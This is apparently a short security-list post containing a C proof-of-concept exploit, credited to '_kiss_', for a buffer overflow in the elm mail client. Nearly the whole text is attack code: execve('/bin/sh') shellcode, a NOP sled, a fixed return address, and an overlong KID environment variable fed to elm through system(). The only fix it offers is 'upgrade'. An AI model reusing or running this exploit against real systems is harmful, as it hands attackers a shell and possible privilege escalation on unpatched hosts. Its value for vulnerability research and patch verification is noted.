this is a just a proof of concept, i haven't included setgid call in the
shellcode:

/***
    -------------
    elm253-exploit.c
    -------------
***/

#include <stdlib.h>

#define NOP 0x90
#define LEN 356
#define OFFSET 0
#define RET 0xbffffa64

unsigned long dame_sp() {
        __asm__("movl %esp,%eax");
}

void main() {

          static char shellcode[]=
/* "\x31\xc0" */ /* xorl %eax,%eax */
/* "\x31\xdb" */ /* xorl %ebx,%ebx */
/* "\xb0\x17" */ /* movb $0x17,%al */
/* "\xcd\x80" */ /* int $0x80 */
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";

        int i=0;
        int cont=0;
        char buffer[LEN+4];
        char kid[6+LEN+4];

        printf("-------------------------------------\n");
        printf("elm buffer overflow exploit by _kiss_\n");
        printf("-------------------------------------\n");

        for (i=0;i<=LEN;i+=4)
                *(long *) &buffer[i] = RET;

        for (i=0;i<LEN-strlen(shellcode)-100;i++)
                buffer[i]=NOP;

        for (i=LEN-strlen(shellcode)-100;i<LEN-100;i++)
                buffer[i]=shellcode[cont++];

        strcpy(kid,"KID=");
        strcat(kid,buffer);
        putenv(kid);
        system("/usr/local/bin/elm -f $KID");
}

solution is simple: upgrade ;)

                                                        _kiss_

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